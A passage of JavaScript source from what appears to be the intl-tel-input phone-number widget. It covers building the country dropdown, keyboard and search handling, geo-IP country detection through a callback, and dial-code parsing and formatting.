    _processDialCodes() {
      this.dialCodes = {};
      this.dialCodeMaxLen = 0;
      this.dialCodeToIso2Map = {};
      for (let i = 0; i < this.countries.length; i++) {
        const c = this.countries[i];
        if (!this.dialCodes[c.dialCode]) {
          this.dialCodes[c.dialCode] = true;
        }
        this._addToDialCodeMap(c.iso2, c.dialCode, c.priority);
      }
      for (let i = 0; i < this.countries.length; i++) {
        const c = this.countries[i];
        if (c.areaCodes) {
          const rootIso2Code = this.dialCodeToIso2Map[c.dialCode][0];
          for (let j = 0; j < c.areaCodes.length; j++) {
            const areaCode = c.areaCodes[j];
            for (let k = 1; k < areaCode.length; k++) {
              const partialDialCode = c.dialCode + areaCode.substr(0, k);
              this._addToDialCodeMap(rootIso2Code, partialDialCode);
              this._addToDialCodeMap(c.iso2, partialDialCode);
            }
            this._addToDialCodeMap(c.iso2, c.dialCode + areaCode);
          }
        }
      }
    }
    //* Generate all of the markup for the plugin: the selected country overlay, and the dropdown.
    _generateMarkup() {
      this.telInput.classList.add("iti__tel-input");
      if (!this.telInput.hasAttribute("autocomplete") && !(this.telInput.form && this.telInput.form.hasAttribute("autocomplete"))) {
        this.telInput.setAttribute("autocomplete", "off");
      }
      const {
        allowDropdown,
        separateDialCode,
        showFlags,
        containerClass,
        hiddenInput,
        dropdownContainer,
        fixDropdownWidth,
        useFullscreenPopup,
        countrySearch,
        i18n
      } = this.options;
      let parentClass = "iti";
      if (allowDropdown) {
        parentClass += " iti--allow-dropdown";
      }
      if (showFlags) {
        parentClass += " iti--show-flags";
      }
      if (containerClass) {
        parentClass += ` ${containerClass}`;
      }
      if (!useFullscreenPopup) {
        parentClass += " iti--inline-dropdown";
      }
      const wrapper = createEl("div", { class: parentClass });
      this.telInput.parentNode?.insertBefore(wrapper, this.telInput);
      if (allowDropdown || showFlags || separateDialCode) {
        this.countryContainer = createEl(
          "div",
          { class: "iti__country-container" },
          wrapper
        );
        if (this.showSelectedCountryOnLeft) {
          this.countryContainer.style.left = "0px";
        } else {
          this.countryContainer.style.right = "0px";
        }
        if (allowDropdown) {
          this.selectedCountry = createEl(
            "button",
            {
              type: "button",
              class: "iti__selected-country",
              "aria-expanded": "false",
              "aria-label": this.options.i18n.selectedCountryAriaLabel,
              "aria-haspopup": "true",
              "aria-controls": `iti-${this.id}__dropdown-content`,
              "role": "combobox"
            },
            this.countryContainer
          );
          if (this.telInput.disabled) {
            this.selectedCountry.setAttribute("disabled", "true");
          }
        } else {
          this.selectedCountry = createEl(
            "div",
            { class: "iti__selected-country" },
            this.countryContainer
          );
        }
        const selectedCountryPrimary = createEl("div", { class: "iti__selected-country-primary" }, this.selectedCountry);
        this.selectedCountryInner = createEl("div", { class: "iti__flag" }, selectedCountryPrimary);
        this.selectedCountryA11yText = createEl(
          "span",
          { class: "iti__a11y-text" },
          this.selectedCountryInner
        );
        if (allowDropdown) {
          this.dropdownArrow = createEl(
            "div",
            { class: "iti__arrow", "aria-hidden": "true" },
            selectedCountryPrimary
          );
        }
        if (separateDialCode) {
          this.selectedDialCode = createEl(
            "div",
            { class: "iti__selected-dial-code" },
            this.selectedCountry
          );
        }
        if (allowDropdown) {
          const extraClasses = fixDropdownWidth ? "" : "iti--flexible-dropdown-width";
          this.dropdownContent = createEl("div", {
            id: `iti-${this.id}__dropdown-content`,
            class: `iti__dropdown-content iti__hide ${extraClasses}`
          });
          if (countrySearch) {
            this.searchInput = createEl(
              "input",
              {
                type: "text",
                class: "iti__search-input",
                placeholder: i18n.searchPlaceholder,
                role: "combobox",
                "aria-expanded": "true",
                "aria-label": i18n.searchPlaceholder,
                "aria-controls": `iti-${this.id}__country-listbox`,
                "aria-autocomplete": "list",
                "autocomplete": "off"
              },
              this.dropdownContent
            );
            this.searchResultsA11yText = createEl(
              "span",
              { class: "iti__a11y-text" },
              this.dropdownContent
            );
          }
          this.countryList = createEl(
            "ul",
            {
              class: "iti__country-list",
              id: `iti-${this.id}__country-listbox`,
              role: "listbox",
              "aria-label": i18n.countryListAriaLabel
            },
            this.dropdownContent
          );
          this._appendListItems();
          if (countrySearch) {
            this._updateSearchResultsText();
          }
          if (dropdownContainer) {
            let dropdownClasses = "iti iti--container";
            if (useFullscreenPopup) {
              dropdownClasses += " iti--fullscreen-popup";
            } else {
              dropdownClasses += " iti--inline-dropdown";
            }
            this.dropdown = createEl("div", { class: dropdownClasses });
            this.dropdown.appendChild(this.dropdownContent);
          } else {
            this.countryContainer.appendChild(this.dropdownContent);
          }
        }
      }
      wrapper.appendChild(this.telInput);
      this._updateInputPadding();
      if (hiddenInput) {
        const telInputName = this.telInput.getAttribute("name") || "";
        const names = hiddenInput(telInputName);
        if (names.phone) {
          this.hiddenInput = createEl("input", {
            type: "hidden",
            name: names.phone
          });
          wrapper.appendChild(this.hiddenInput);
        }
        if (names.country) {
          this.hiddenInputCountry = createEl("input", {
            type: "hidden",
            name: names.country
          });
          wrapper.appendChild(this.hiddenInputCountry);
        }
      }
    }
    //* For each country: add a country list item <li> to the countryList <ul> container.
    _appendListItems() {
      for (let i = 0; i < this.countries.length; i++) {
        const c = this.countries[i];
        const extraClass = i === 0 ? "iti__highlight" : "";
        const listItem = createEl(
          "li",
          {
            id: `iti-${this.id}__item-${c.iso2}`,
            class: `iti__country ${extraClass}`,
            tabindex: "-1",
            role: "option",
            "data-dial-code": c.dialCode,
            "data-country-code": c.iso2,
            "aria-selected": "false"
          },
          this.countryList
        );
        c.nodeById[this.id] = listItem;
        let content = "";
        if (this.options.showFlags) {
          content += `<div class='iti__flag iti__${c.iso2}'></div>`;
        }
        content += `<span class='iti__country-name'>${c.name}</span>`;
        content += `<span class='iti__dial-code'>+${c.dialCode}</span>`;
        listItem.insertAdjacentHTML("beforeend", content);
      }
    }
    //* Set the initial state of the input value and the selected country by:
    //* 1. Extracting a dial code from the given number
    //* 2. Using explicit initialCountry
    _setInitialState(overrideAutoCountry = false) {
      const attributeValue = this.telInput.getAttribute("value");
      const inputValue = this.telInput.value;
      const useAttribute = attributeValue && attributeValue.charAt(0) === "+" && (!inputValue || inputValue.charAt(0) !== "+");
      const val = useAttribute ? attributeValue : inputValue;
      const dialCode = this._getDialCode(val);
      const isRegionlessNanpNumber = isRegionlessNanp(val);
      const { initialCountry, geoIpLookup } = this.options;
      const isAutoCountry = initialCountry === "auto" && geoIpLookup;
      if (dialCode && !isRegionlessNanpNumber) {
        this._updateCountryFromNumber(val);
      } else if (!isAutoCountry || overrideAutoCountry) {
        const lowerInitialCountry = initialCountry ? initialCountry.toLowerCase() : "";
        const isValidInitialCountry = lowerInitialCountry && this._getCountryData(lowerInitialCountry, true);
        if (isValidInitialCountry) {
          this._setCountry(lowerInitialCountry);
        } else {
          if (dialCode && isRegionlessNanpNumber) {
            this._setCountry("us");
          } else {
            this._setCountry();
          }
        }
      }
      if (val) {
        this._updateValFromNumber(val);
      }
    }
    //* Initialise the main event listeners: input keyup, and click selected country.
    _initListeners() {
      this._initTelInputListeners();
      if (this.options.allowDropdown) {
        this._initDropdownListeners();
      }
      if ((this.hiddenInput || this.hiddenInputCountry) && this.telInput.form) {
        this._initHiddenInputListener();
      }
    }
    //* Update hidden input on form submit.
    _initHiddenInputListener() {
      this._handleHiddenInputSubmit = () => {
        if (this.hiddenInput) {
          this.hiddenInput.value = this.getNumber();
        }
        if (this.hiddenInputCountry) {
          this.hiddenInputCountry.value = this.getSelectedCountryData().iso2 || "";
        }
      };
      this.telInput.form?.addEventListener(
        "submit",
        this._handleHiddenInputSubmit
      );
    }
    //* initialise the dropdown listeners.
    _initDropdownListeners() {
      this._handleLabelClick = (e) => {
        if (this.dropdownContent.classList.contains("iti__hide")) {
          this.telInput.focus();
        } else {
          e.preventDefault();
        }
      };
      const label = this.telInput.closest("label");
      if (label) {
        label.addEventListener("click", this._handleLabelClick);
      }
      this._handleClickSelectedCountry = () => {
        if (this.dropdownContent.classList.contains("iti__hide") && !this.telInput.disabled && !this.telInput.readOnly) {
          this._openDropdown();
        }
      };
      this.selectedCountry.addEventListener("click", this._handleClickSelectedCountry);
      this._handleCountryContainerKeydown = (e) => {
        const isDropdownHidden = this.dropdownContent.classList.contains("iti__hide");
        if (isDropdownHidden && ["ArrowUp", "ArrowDown", " ", "Enter"].includes(e.key)) {
          e.preventDefault();
          e.stopPropagation();
          this._openDropdown();
        }
        if (e.key === "Tab") {
          this._closeDropdown();
        }
      };
      this.countryContainer.addEventListener(
        "keydown",
        this._handleCountryContainerKeydown
      );
    }
    //* Init many requests: utils script / geo ip lookup.
    _initRequests() {
      const { utilsScript, initialCountry, geoIpLookup } = this.options;
      if (utilsScript && !intlTelInput.utils) {
        if (intlTelInput.documentReady()) {
          intlTelInput.loadUtils(utilsScript);
        } else {
          window.addEventListener("load", () => {
            intlTelInput.loadUtils(utilsScript);
          });
        }
      } else {
        this.resolveUtilsScriptPromise();
      }
      const isAutoCountry = initialCountry === "auto" && geoIpLookup;
      if (isAutoCountry && !this.selectedCountryData.iso2) {
        this._loadAutoCountry();
      } else {
        this.resolveAutoCountryPromise();
      }
    }
    //* Perform the geo ip lookup.
    _loadAutoCountry() {
      if (intlTelInput.autoCountry) {
        this.handleAutoCountry();
      } else if (!intlTelInput.startedLoadingAutoCountry) {
        intlTelInput.startedLoadingAutoCountry = true;
        if (typeof this.options.geoIpLookup === "function") {
          this.options.geoIpLookup(
            (iso2 = "") => {
              const iso2Lower = iso2.toLowerCase();
              const isValidIso2 = iso2Lower && this._getCountryData(iso2Lower, true);
              if (isValidIso2) {
                intlTelInput.autoCountry = iso2Lower;
                setTimeout(() => forEachInstance("handleAutoCountry"));
              } else {
                this._setInitialState(true);
                forEachInstance("rejectAutoCountryPromise");
              }
            },
            () => {
              this._setInitialState(true);
              forEachInstance("rejectAutoCountryPromise");
            }
          );
        }
      }
    }
    _openDropdownWithPlus() {
      this._openDropdown();
      this.searchInput.value = "+";
      this._filterCountries("", true);
    }
    //* Initialize the tel input listeners.
    _initTelInputListeners() {
      const { strictMode, formatAsYouType, separateDialCode, formatOnDisplay, allowDropdown, countrySearch } = this.options;
      let userOverrideFormatting = false;
      if (/\p{L}/u.test(this.telInput.value)) {
        userOverrideFormatting = true;
      }
      this._handleInputEvent = (e) => {
        if (this.isAndroid && e?.data === "+" && separateDialCode && allowDropdown && countrySearch) {
          const currentCaretPos = this.telInput.selectionStart || 0;
          const valueBeforeCaret = this.telInput.value.substring(0, currentCaretPos - 1);
          const valueAfterCaret = this.telInput.value.substring(currentCaretPos);
          this.telInput.value = valueBeforeCaret + valueAfterCaret;
          this._openDropdownWithPlus();
          return;
        }
        if (this._updateCountryFromNumber(this.telInput.value)) {
          this._triggerCountryChange();
        }
        const isFormattingChar = e?.data && /[^+0-9]/.test(e.data);
        const isPaste = e?.inputType === "insertFromPaste" && this.telInput.value;
        if (isFormattingChar || isPaste && !strictMode) {
          userOverrideFormatting = true;
        } else if (!/[^+0-9]/.test(this.telInput.value)) {
          userOverrideFormatting = false;
        }
        const disableFormatOnSetNumber = e?.detail && e.detail["isSetNumber"] && !formatOnDisplay;
        if (formatAsYouType && !userOverrideFormatting && !disableFormatOnSetNumber) {
          const currentCaretPos = this.telInput.selectionStart || 0;
          const valueBeforeCaret = this.telInput.value.substring(0, currentCaretPos);
          const relevantCharsBeforeCaret = valueBeforeCaret.replace(/[^+0-9]/g, "").length;
          const isDeleteForwards = e?.inputType === "deleteContentForward";
          const formattedValue = this._formatNumberAsYouType();
          const newCaretPos = translateCursorPosition(relevantCharsBeforeCaret, formattedValue, currentCaretPos, isDeleteForwards);
          this.telInput.value = formattedValue;
          this.telInput.setSelectionRange(newCaretPos, newCaretPos);
        }
      };
      this.telInput.addEventListener("input", this._handleInputEvent);
      if (strictMode || separateDialCode) {
        this._handleKeydownEvent = (e) => {
          if (e.key && e.key.length === 1 && !e.altKey && !e.ctrlKey && !e.metaKey) {
            if (separateDialCode && allowDropdown && countrySearch && e.key === "+") {
              e.preventDefault();
              this._openDropdownWithPlus();
              return;
            }
            if (strictMode) {
              const isInitialPlus = this.telInput.selectionStart === 0 && e.key === "+";
              const isNumeric = /^[0-9]$/.test(e.key);
              const isAllowedChar = separateDialCode ? isNumeric : isInitialPlus || isNumeric;
              const fullNumber = this._getFullNumber();
              const coreNumber = intlTelInput.utils.getCoreNumber(fullNumber, this.selectedCountryData.iso2);
              const hasReachedMaxLength = this.maxCoreNumberLength && coreNumber.length >= this.maxCoreNumberLength;
              const selectedText = this.telInput.value.substring(this.telInput.selectionStart, this.telInput.selectionEnd);
              const hasSelectedDigit = /\d/.test(selectedText);
              const currentCaretPos = this.telInput.selectionStart || 0;
              const cursorAtEnd = currentCaretPos === this.telInput.value.length;
              if (!isAllowedChar || hasReachedMaxLength && !hasSelectedDigit && cursorAtEnd) {
                e.preventDefault();
              }
            }
          }
        };
        this.telInput.addEventListener("keydown", this._handleKeydownEvent);
      }
    }
    //* Adhere to the input's maxlength attr.
    _cap(number) {
      const max = parseInt(this.telInput.getAttribute("maxlength") || "", 10);
      return max && number.length > max ? number.substr(0, max) : number;
    }
    //* Trigger a custom event on the input.
    _trigger(name, detailProps = {}) {
      const e = new CustomEvent(name, {
        bubbles: true,
        cancelable: true,
        detail: detailProps
      });
      this.telInput.dispatchEvent(e);
    }
    //* Open the dropdown.
    _openDropdown() {
      const { fixDropdownWidth, countrySearch } = this.options;
      if (fixDropdownWidth) {
        this.dropdownContent.style.width = `${this.telInput.offsetWidth}px`;
      }
      this.dropdownContent.classList.remove("iti__hide");
      this.selectedCountry.setAttribute("aria-expanded", "true");
      this._setDropdownPosition();
      if (countrySearch) {
        const firstCountryItem = this.countryList.firstElementChild;
        if (firstCountryItem) {
          this._highlightListItem(firstCountryItem, false);
          this.countryList.scrollTop = 0;
        }
        this.searchInput.focus();
      }
      this._bindDropdownListeners();
      this.dropdownArrow.classList.add("iti__arrow--up");
      this._trigger("open:countrydropdown");
    }
    //* Set the dropdown position
    _setDropdownPosition() {
      if (this.options.dropdownContainer) {
        this.options.dropdownContainer.appendChild(this.dropdown);
      }
      if (!this.options.useFullscreenPopup) {
        const inputPosRelativeToVP = this.telInput.getBoundingClientRect();
        const inputHeight = this.telInput.offsetHeight;
        if (this.options.dropdownContainer) {
          this.dropdown.style.top = `${inputPosRelativeToVP.top + inputHeight}px`;
          this.dropdown.style.left = `${inputPosRelativeToVP.left}px`;
          this._handleWindowScroll = () => this._closeDropdown();
          window.addEventListener("scroll", this._handleWindowScroll);
        }
      }
    }
    //* We only bind dropdown listeners when the dropdown is open.
    _bindDropdownListeners() {
      this._handleMouseoverCountryList = (e) => {
        const listItem = e.target?.closest(".iti__country");
        if (listItem) {
          this._highlightListItem(listItem, false);
        }
      };
      this.countryList.addEventListener(
        "mouseover",
        this._handleMouseoverCountryList
      );
      this._handleClickCountryList = (e) => {
        const listItem = e.target?.closest(".iti__country");
        if (listItem) {
          this._selectListItem(listItem);
        }
      };
      this.countryList.addEventListener("click", this._handleClickCountryList);
      let isOpening = true;
      this._handleClickOffToClose = () => {
        if (!isOpening) {
          this._closeDropdown();
        }
        isOpening = false;
      };
      document.documentElement.addEventListener(
        "click",
        this._handleClickOffToClose
      );
      let query = "";
      let queryTimer = null;
      this._handleKeydownOnDropdown = (e) => {
        if (["ArrowUp", "ArrowDown", "Enter", "Escape"].includes(e.key)) {
          e.preventDefault();
          e.stopPropagation();
          if (e.key === "ArrowUp" || e.key === "ArrowDown") {
            this._handleUpDownKey(e.key);
          } else if (e.key === "Enter") {
            this._handleEnterKey();
          } else if (e.key === "Escape") {
            this._closeDropdown();
          }
        }
        if (!this.options.countrySearch && /^[a-zA-ZÀ-ÿа-яА-Я ]$/.test(e.key)) {
          e.stopPropagation();
          if (queryTimer) {
            clearTimeout(queryTimer);
          }
          query += e.key.toLowerCase();
          this._searchForCountry(query);
          queryTimer = setTimeout(() => {
            query = "";
          }, 1e3);
        }
      };
      document.addEventListener("keydown", this._handleKeydownOnDropdown);
      if (this.options.countrySearch) {
        const doFilter = () => {
          const inputQuery = this.searchInput.value.trim();
          if (inputQuery) {
            this._filterCountries(inputQuery);
          } else {
            this._filterCountries("", true);
          }
        };
        let keyupTimer = null;
        this._handleSearchChange = () => {
          if (keyupTimer) {
            clearTimeout(keyupTimer);
          }
          keyupTimer = setTimeout(() => {
            doFilter();
            keyupTimer = null;
          }, 100);
        };
        this.searchInput.addEventListener("input", this._handleSearchChange);
        this.searchInput.addEventListener("click", (e) => e.stopPropagation());
      }
    }
    //* Hidden search (countrySearch disabled): Find the first list item whose name starts with the query string.
    _searchForCountry(query) {
      for (let i = 0; i < this.countries.length; i++) {
        const c = this.countries[i];
        const startsWith = c.name.substr(0, query.length).toLowerCase() === query;
        if (startsWith) {
          const listItem = c.nodeById[this.id];
          this._highlightListItem(listItem, false);
          this._scrollTo(listItem);
          break;
        }
      }
    }
    //* Country search enabled: Filter the countries according to the search query.
    _filterCountries(query, isReset = false) {
      let noCountriesAddedYet = true;
      this.countryList.innerHTML = "";
      const normalisedQuery = normaliseString(query);
      for (let i = 0; i < this.countries.length; i++) {
        const c = this.countries[i];
        const normalisedCountryName = normaliseString(c.name);
        const countryInitials = c.name.split(/[^a-zA-ZÀ-ÿа-яА-Я]/).map((word) => word[0]).join("").toLowerCase();
        const fullDialCode = `+${c.dialCode}`;
        if (isReset || normalisedCountryName.includes(normalisedQuery) || fullDialCode.includes(normalisedQuery) || c.iso2.includes(normalisedQuery) || countryInitials.includes(normalisedQuery)) {
          const listItem = c.nodeById[this.id];
          if (listItem) {
            this.countryList.appendChild(listItem);
          }
          if (noCountriesAddedYet) {
            this._highlightListItem(listItem, false);
            noCountriesAddedYet = false;
          }
        }
      }
      if (noCountriesAddedYet) {
        this._highlightListItem(null, false);
      }
      this.countryList.scrollTop = 0;
      this._updateSearchResultsText();
    }
    //* Update search results text (for a11y).
    _updateSearchResultsText() {
      const { i18n } = this.options;
      const count = this.countryList.childElementCount;
      let searchText;
      if (count === 0) {
        searchText = i18n.zeroSearchResults;
      } else if (count === 1) {
        searchText = i18n.oneSearchResult;
      } else {
        searchText = i18n.multipleSearchResults.replace("${count}", count.toString());
      }
      this.searchResultsA11yText.textContent = searchText;
    }
    //* Highlight the next/prev item in the list (and ensure it is visible).
    _handleUpDownKey(key) {
      let next = key === "ArrowUp" ? this.highlightedItem?.previousElementSibling : this.highlightedItem?.nextElementSibling;
      if (!next && this.countryList.childElementCount > 1) {
        next = key === "ArrowUp" ? this.countryList.lastElementChild : this.countryList.firstElementChild;
      }
      if (next) {
        this._scrollTo(next);
        this._highlightListItem(next, false);
      }
    }
    //* Select the currently highlighted item.
    _handleEnterKey() {
      if (this.highlightedItem) {
        this._selectListItem(this.highlightedItem);
      }
    }
    //* Update the input's value to the given val (format first if possible)
    //* NOTE: this is called from _setInitialState, handleUtils and setNumber.
    _updateValFromNumber(fullNumber) {
      let number = fullNumber;
      if (this.options.formatOnDisplay && intlTelInput.utils && this.selectedCountryData) {
        const useNational = this.options.nationalMode || number.charAt(0) !== "+" && !this.options.separateDialCode;
        const { NATIONAL, INTERNATIONAL } = intlTelInput.utils.numberFormat;
        const format = useNational ? NATIONAL : INTERNATIONAL;
        number = intlTelInput.utils.formatNumber(
          number,
          this.selectedCountryData.iso2,
          format
        );
      }
      number = this._beforeSetNumber(number);
      this.telInput.value = number;
    }
    //* Check if need to select a new country based on the given number
    //* Note: called from _setInitialState, keyup handler, setNumber.
    _updateCountryFromNumber(fullNumber) {
      const plusIndex = fullNumber.indexOf("+");
      let number = plusIndex ? fullNumber.substring(plusIndex) : fullNumber;
      const selectedDialCode = this.selectedCountryData.dialCode;
      const isNanp = selectedDialCode === "1";
      if (number && isNanp && number.charAt(0) !== "+") {
        if (number.charAt(0) !== "1") {
          number = `1${number}`;
        }
        number = `+${number}`;
      }
      if (this.options.separateDialCode && selectedDialCode && number.charAt(0) !== "+") {
        number = `+${selectedDialCode}${number}`;
      }
      const dialCode = this._getDialCode(number, true);
      const numeric = getNumeric(number);
      let iso2 = null;
      if (dialCode) {
        const iso2Codes = this.dialCodeToIso2Map[getNumeric(dialCode)];
        const alreadySelected = iso2Codes.indexOf(this.selectedCountryData.iso2) !== -1 && numeric.length <= dialCode.length - 1;
        const isRegionlessNanpNumber = selectedDialCode === "1" && isRegionlessNanp(numeric);
        if (!isRegionlessNanpNumber && !alreadySelected) {
          for (let j = 0; j < iso2Codes.length; j++) {
            if (iso2Codes[j]) {
              iso2 = iso2Codes[j];
              break;
            }
          }
        }
      } else if (number.charAt(0) === "+" && numeric.length) {
        iso2 = "";
      } else if ((!number || number === "+") && !this.selectedCountryData.iso2) {
        iso2 = this.defaultCountry;
      }
      if (iso2 !== null) {
        return this._setCountry(iso2);
      }
      return false;
    }
    //* Remove highlighting from other list items and highlight the given item.
    _highlightListItem(listItem, shouldFocus) {
      const prevItem = this.highlightedItem;
      if (prevItem) {
        prevItem.classList.remove("iti__highlight");
        prevItem.setAttribute("aria-selected", "false");
      }
      this.highlightedItem = listItem;
      if (this.highlightedItem) {
        this.highlightedItem.classList.add("iti__highlight");
        this.highlightedItem.setAttribute("aria-selected", "true");
        const activeDescendant = this.highlightedItem.getAttribute("id") || "";
        this.selectedCountry.setAttribute("aria-activedescendant", activeDescendant);
        if (this.options.countrySearch) {
          this.searchInput.setAttribute("aria-activedescendant", activeDescendant);
        }
      }
      if (shouldFocus) {
        this.highlightedItem.focus();
      }
    }
    //* Find the country data for the given iso2 code
    //* the ignoreOnlyCountriesOption is only used during init() while parsing the onlyCountries array
    _getCountryData(iso2, allowFail) {
      for (let i = 0; i < this.countries.length; i++) {
        if (this.countries[i].iso2 === iso2) {
          return this.countries[i];
        }
      }
      if (allowFail) {
        return null;
      }
      throw new Error(`No country data for '${iso2}'`);
    }
    //* Update the selected country, dial code (if separateDialCode), placeholder, title, and active list item.
    //* Note: called from _setInitialState, _updateCountryFromNumber, _selectListItem, setCountry.
    _setCountry(iso2) {
      const { separateDialCode, showFlags, i18n } = this.options;
      const prevCountry = this.selectedCountryData.iso2 ? this.selectedCountryData : {};
      this.selectedCountryData = iso2 ? this._getCountryData(iso2, false) || {} : {};
      if (this.selectedCountryData.iso2) {
        this.defaultCountry = this.selectedCountryData.iso2;
      }
      if (this.selectedCountryInner) {
        let flagClass = "";
        let a11yText = "";
        if (iso2 && showFlags) {
          flagClass = `iti__flag iti__${iso2}`;
          a11yText = `${this.selectedCountryData.name} +${this.selectedCountryData.dialCode}`;
        } else {
          flagClass = "iti__flag iti__globe";
          a11yText = i18n.noCountrySelected;
        }
        this.selectedCountryInner.className = flagClass;
        this.selectedCountryA11yText.textContent = a11yText;
      }
      this._setSelectedCountryTitleAttribute(iso2, separateDialCode);
      if (separateDialCode) {
        const dialCode = this.selectedCountryData.dialCode ? `+${this.selectedCountryData.dialCode}` : "";
        this.selectedDialCode.innerHTML = dialCode;
        this._updateInputPadding();
      }
      this._updatePlaceholder();
      this._updateMaxLength();
      return prevCountry.iso2 !== iso2;
    }
    //* Update the input padding to make space for the selected country/dial code.
    _updateInputPadding() {
      if (this.selectedCountry) {
        const selectedCountryWidth = this.selectedCountry.offsetWidth || this._getHiddenSelectedCountryWidth();
        const inputPadding = selectedCountryWidth + 6;
        if (this.showSelectedCountryOnLeft) {
          this.telInput.style.paddingLeft = `${inputPadding}px`;
        } else {
          this.telInput.style.paddingRight = `${inputPadding}px`;
        }
      }
    }
    //* Update the maximum valid number length for the currently selected country.
    _updateMaxLength() {
      const { strictMode, placeholderNumberType, validationNumberType } = this.options;
      if (strictMode && intlTelInput.utils) {
        if (this.selectedCountryData.iso2) {
          const numberType = intlTelInput.utils.numberType[placeholderNumberType];
          let exampleNumber = intlTelInput.utils.getExampleNumber(
            this.selectedCountryData.iso2,
            false,
            numberType,
            true
          );
          let validNumber = exampleNumber;
          while (intlTelInput.utils.isPossibleNumber(exampleNumber, this.selectedCountryData.iso2, validationNumberType)) {
            validNumber = exampleNumber;
            exampleNumber += "0";
          }
          const coreNumber = intlTelInput.utils.getCoreNumber(validNumber, this.selectedCountryData.iso2);
          this.maxCoreNumberLength = coreNumber.length;
        } else {
          this.maxCoreNumberLength = null;
        }
      }
    }
    _setSelectedCountryTitleAttribute(iso2 = null, separateDialCode) {
      if (!this.selectedCountry) {
        return;
      }
      let title;
      if (iso2 && !separateDialCode) {
        title = `${this.selectedCountryData.name}: +${this.selectedCountryData.dialCode}`;
      } else if (iso2) {
        title = this.selectedCountryData.name;
      } else {
        title = "Unknown";
      }
      this.selectedCountry.setAttribute("title", title);
    }
    //* When the input is in a hidden container during initialisation, we must inject some markup
    //* into the end of the DOM to calculate the correct offsetWidth.
    //* NOTE: this is only used when separateDialCode is enabled, so countryContainer and selectedCountry
    //* will definitely exist.
    _getHiddenSelectedCountryWidth() {
      if (this.telInput.parentNode) {
        const containerClone = this.telInput.parentNode.cloneNode(false);
        containerClone.style.visibility = "hidden";
        document.body.appendChild(containerClone);
        const countryContainerClone = this.countryContainer.cloneNode();
        containerClone.appendChild(countryContainerClone);
        const selectedCountryClone = this.selectedCountry.cloneNode(true);
        countryContainerClone.appendChild(selectedCountryClone);
        const width = selectedCountryClone.offsetWidth;
        document.body.removeChild(containerClone);
        return width;
      }
      return 0;
    }
    //* Update the input placeholder to an example number from the currently selected country.
    _updatePlaceholder() {
      const {
        autoPlaceholder,
        placeholderNumberType,
        nationalMode,
        customPlaceholder
      } = this.options;
      const shouldSetPlaceholder = autoPlaceholder === "aggressive" || !this.hadInitialPlaceholder && autoPlaceholder === "polite";
      if (intlTelInput.utils && shouldSetPlaceholder) {
        const numberType = intlTelInput.utils.numberType[placeholderNumberType];
        let placeholder = this.selectedCountryData.iso2 ? intlTelInput.utils.getExampleNumber(
          this.selectedCountryData.iso2,
          nationalMode,
          numberType
        ) : "";
        placeholder = this._beforeSetNumber(placeholder);
        if (typeof customPlaceholder === "function") {
          placeholder = customPlaceholder(placeholder, this.selectedCountryData);
        }
        this.telInput.setAttribute("placeholder", placeholder);
      }
    }
    //* Called when the user selects a list item from the dropdown.
    _selectListItem(listItem) {
      const countryChanged = this._setCountry(
        listItem.getAttribute("data-country-code")
      );
      this._closeDropdown();
      this._updateDialCode(listItem.getAttribute("data-dial-code"));
      this.telInput.focus();
      if (countryChanged) {
        this._triggerCountryChange();
      }
    }
    //* Close the dropdown and unbind any listeners.
    _closeDropdown() {
      this.dropdownContent.classList.add("iti__hide");
      this.selectedCountry.setAttribute("aria-expanded", "false");
      this.selectedCountry.removeAttribute("aria-activedescendant");
      if (this.highlightedItem) {
        this.highlightedItem.setAttribute("aria-selected", "false");
      }
      if (this.options.countrySearch) {
        this.searchInput.removeAttribute("aria-activedescendant");
      }
      this.dropdownArrow.classList.remove("iti__arrow--up");
      document.removeEventListener("keydown", this._handleKeydownOnDropdown);
      if (this.options.countrySearch) {
        this.searchInput.removeEventListener("input", this._handleSearchChange);
      }
      document.documentElement.removeEventListener(
        "click",
        this._handleClickOffToClose
      );
      this.countryList.removeEventListener(
        "mouseover",
        this._handleMouseoverCountryList
      );
      this.countryList.removeEventListener("click", this._handleClickCountryList);
      if (this.options.dropdownContainer) {
        if (!this.options.useFullscreenPopup) {
          window.removeEventListener("scroll", this._handleWindowScroll);
        }
        if (this.dropdown.parentNode) {
          this.dropdown.parentNode.removeChild(this.dropdown);
        }
      }
      this._trigger("close:countrydropdown");
    }
    //* Check if an element is visible within it's container, else scroll until it is.
    _scrollTo(element) {
      const container = this.countryList;
      const scrollTop = document.documentElement.scrollTop;
      const containerHeight = container.offsetHeight;
      const containerTop = container.getBoundingClientRect().top + scrollTop;
      const containerBottom = containerTop + containerHeight;
      const elementHeight = element.offsetHeight;
      const elementTop = element.getBoundingClientRect().top + scrollTop;
      const elementBottom = elementTop + elementHeight;
      const newScrollTop = elementTop - containerTop + container.scrollTop;
      if (elementTop < containerTop) {
        container.scrollTop = newScrollTop;
      } else if (elementBottom > containerBottom) {
        const heightDifference = containerHeight - elementHeight;
        container.scrollTop = newScrollTop - heightDifference;
      }
    }
    //* Replace any existing dial code with the new one
    //* Note: called from _selectListItem and setCountry
    _updateDialCode(newDialCodeBare) {
      const inputVal = this.telInput.value;
      const newDialCode = `+${newDialCodeBare}`;
      let newNumber;
      if (inputVal.charAt(0) === "+") {
        const prevDialCode = this._getDialCode(inputVal);
        if (prevDialCode) {
          newNumber = inputVal.replace(prevDialCode, newDialCode);
        } else {
          newNumber = newDialCode;
        }
        this.telInput.value = newNumber;
      }
    }
    //* Try and extract a valid international dial code from a full telephone number.
    //* Note: returns the raw string inc plus character and any whitespace/dots etc.
    _getDialCode(number, includeAreaCode) {
      let dialCode = "";
      if (number.charAt(0) === "+") {
        let numericChars = "";
        for (let i = 0; i < number.length; i++) {
          const c = number.charAt(i);
          if (!isNaN(parseInt(c, 10))) {
            numericChars += c;
            if (includeAreaCode) {
              if (this.dialCodeToIso2Map[numericChars]) {
                dialCode = number.substr(0, i + 1);
              }
            } else {
              if (this.dialCodes[numericChars]) {
                dialCode = number.substr(0, i + 1);
                break;
              }
            }
            if (numericChars.length === this.dialCodeMaxLen) {
              break;
            }
          }
        }
      }
      return dialCode;
    }
    //* Get the input val, adding the dial code if separateDialCode is enabled.
    _getFullNumber() {
      const val = this.telInput.value.trim();
      const { dialCode } = this.selectedCountryData;
      let prefix;
      const numericVal = getNumeric(val);
      if (this.options.separateDialCode && val.charAt(0) !== "+" && dialCode && numericVal) {
        prefix = `+${dialCode}`;
      } else {
        prefix = "";
      }
      return prefix + val;
    }
    //* Remove the dial code if separateDialCode is enabled also cap the length if the input has a maxlength attribute
    _beforeSetNumber(fullNumber) {
      let number = fullNumber;
      if (this.options.separateDialCode) {
        let dialCode = this._getDialCode(number);
